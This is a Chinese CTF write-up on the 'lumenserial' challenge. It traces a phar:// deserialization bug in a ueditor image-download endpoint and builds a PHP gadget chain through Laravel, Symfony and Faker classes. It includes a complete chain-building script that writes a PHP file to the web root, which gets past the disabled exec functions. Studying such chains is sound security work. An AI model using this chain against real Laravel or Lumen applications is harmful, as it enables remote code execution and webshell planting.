Code Breaking 挑战赛 -- lumenserial

嘿嘿,在Code Breaking 开始的时候,太忙。就把最后 php 和 js 的两道题目的源码下了下来,js的题目有幸看完。关于最后的lumenserial 这道题目,今天上午花了一上午弄完, 发现与表哥们的writeup里面攻击链有些不同的一种方法,随便记录一下

因为没有了环境,根据表哥们的writeup 叙述,大概可以得到环境大概这样

php 7.2.12

disable_function : system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mai

拿到源码,第一眼先看router

1
2
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

index 是 ueditor 的编辑器界面,上面两个router 应该是关键之处 ,跟进 EditorController 看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function doUploadImage(Request $request)
{
//...
}

protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];

if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}
//...
}

protected function doListImage(Request $request)
{
//...
}

private function download($url) {
//...
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
//...
}

普通的图片上传,还有一个doCatchimage提供远程下载图片的函数,进入 download函数,直接从input 中拿到$url

, 中间过程没有任何过滤 file_get_contents($url); 很明显了 可以用phar://试试了 ,就需要一条好的攻击链子

其实有很多RCE的,比如monolog/rce1在里面就可以用(monolog1.23),可以用phpinfo找绝对路径,但都是单参数执行,且前面也说了基本所以RCE的函数都禁了,所以需要getshell,得找到file_put_contents 的双参数执行。目的很明显 我需要 call_user_func_array('file_put_contents',[])

第一步 寻找__wakeup 或者 __destruct

在phpggc 里面 基本所以的Laravel/RCE 都是 走的

\Illuminate\Broadcasting\PendingBroadcast::__destruct()

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

$this->event单参数,这个时候有两条路,$this->events可控走带__call的小配件,走带dispatch() 方法的小配件

在寻找__call过程中,基本都是单参数 , 但是 其中一个带 __call的小配件很完美。

\Faker\Generator::__call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

$formatter提供可用的带键值 普通函数 , $provider提供实例的方法。这个配件可以作为我们的最后一步

我们可以找到$this->a->f($q,$p)形式的倒数第二步 ,$this->a可控,f对应$formatter['f']可控,$q,$p 也必须可控。

即对应

["f"=>"file_put_contents"] $q="/root/Downloads/lumenserial/html/1.php" $p = ""

下面回到第二步

既然__call走不了,找一找dispatch方法的小配件

Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher::dispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
public function dispatch($eventName, Event $event = null)
{
if (null === $event) {
$event = new Event();
}

if (null !== $this->logger && $event->isPropagationStopped()) {
$this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
}

$this->preProcess($eventName);
//...
}

跟进$this->preProcess($eventName)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private function preProcess($eventName)
{
if (!$this->dispatcher->hasListeners($eventName)) {
$this->orphanedEvents[] = $eventName;

return;
}

foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}
}

是不是发现正好有我们需要的形式$this->a->f($q,$p)

$this->dispatcher->removeListener($eventName, $listener);

离我们的目标已经很近了a可控 ,f 也可控 ,$q可控,$p未知, 当然前提是能执行到这一行

下面仔细分析如何成功进入foreach

第一个if 必须返回true

1
2
3
4
5
$this->dispatcher->hasListeners($eventName)

$formatter['hasListeners'] = "is_string"

is_string($eventName) //return 1;

绕之,接下来

foreach ($this->dispatcher->getListeners($eventName) as $listener) {}

怎么进去foreach,仅仅用\(formatter 无法达到目的,无法返回带有我们phpcode的数组,别忘了我们还有\)provider 可以提供实例方法,这时候需要找一个带 getListeners 的小配件,恰好有那么一个

Illuminate\Events\Dispatcher::getListeners

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

$listeners = array_merge($this->listeners[$eventName],$this->wildcardsCache[$eventName])

$listeners 完全可控 , class_exists 判断 当然不存在 "/root/Downloads/lumenserial/html/1.php"这样一个类,返回带phpcode的数组

成功进入foreach,现在我需要保证的是在执行 this->dispatcher->removeListener($eventName, $listener);前保证代码不出错,成功执行到这一行

1
2
3
4
5
6
7
foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}

跟进$this->getListenerPriority($eventName, $listener);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function getListenerPriority($eventName, $listener)
{
// we might have wrapped listeners for the event (if called while dispatching)
// in that case get the priority by wrapper
if (isset($this->wrappedListeners[$eventName])) {
foreach ($this->wrappedListeners[$eventName] as $index => $wrappedListener) {
if ($wrappedListener->getWrappedListener() === $listener) {
return $this->dispatcher->getListenerPriority($eventName, $wrappedListener);
}
}
}

return $this->dispatcher->getListenerPriority($eventName, $listener);
}

惊喜 return $this->dispatcher->getListenerPriority($eventName, $listener); 看来不用往后面执行了,这里就有一个现成的。保证 最后return 返回,即不设置$this->wrappedListeners[$eventName]即可。

现在 f $q $p都完全可控。:—)

整个链精髓在于带__call的最后这个小配件,相当于与一个反过来的invoker ,保存的不是函数执行时需要的参数,而是函数本身,还提供实例方法函数

整个chain 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php 
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Symfony\Component\EventDispatcher\Debug
{
interface TraceableEventDispatcherInterface{}

class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
private $dispatcher;

public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
}

namespace Illuminate\Contracts\Events
{

interface Dispatcher{}

}



namespace Illuminate\Events
{
use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;

class Dispatcher implements DispatcherContract{

protected $listeners = [];
protected $wildcardsCache = [];

public function __construct($listeners,$wildcardsCache){

$this->listeners["/root/Downloads/lumenserial/html/1.php"] = $listeners;

$this->wildcardsCache["/root/Downloads/lumenserial/html/1.php"] = $wildcardsCache;
}
}
}

namespace Faker
{
class Generator
{
protected $formatters;
protected $providers;

public function __construct($formatters , $providers)
{
$this->formatters = $formatters;
$this->providers = $providers;
}
}
}

namespace maple\aaa{

$a_ = new \Illuminate\Events\Dispatcher(["<?php phpinfo();?>"],[]);

$a = new \Faker\Generator(["hasListeners" => "is_string","removeListener" => "file_put_contents","getListenerPriority"=>"file_put_contents"],[$a_]);

$b = new \Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($a);

$c = new \Illuminate\Broadcasting\PendingBroadcast($b , "/root/Downloads/lumenserial/html/1.php");


file_put_contents("2.php",serialize($c));

}

最后,在本地测试时,echo serialize()时,复制输出或者 php chain.php > 1 时 会出错。 甚至php chain.php > 1 显示被截断。因为里面有\00 存在,在序列化

  1. protected 参数时 , 参数名前缀有 \x00\2A\x00 \2A=*

  2. private 参数时 , 参数名前缀为\x00类名\x00

永远不说放弃,努力努力在努力,终会如愿以偿!????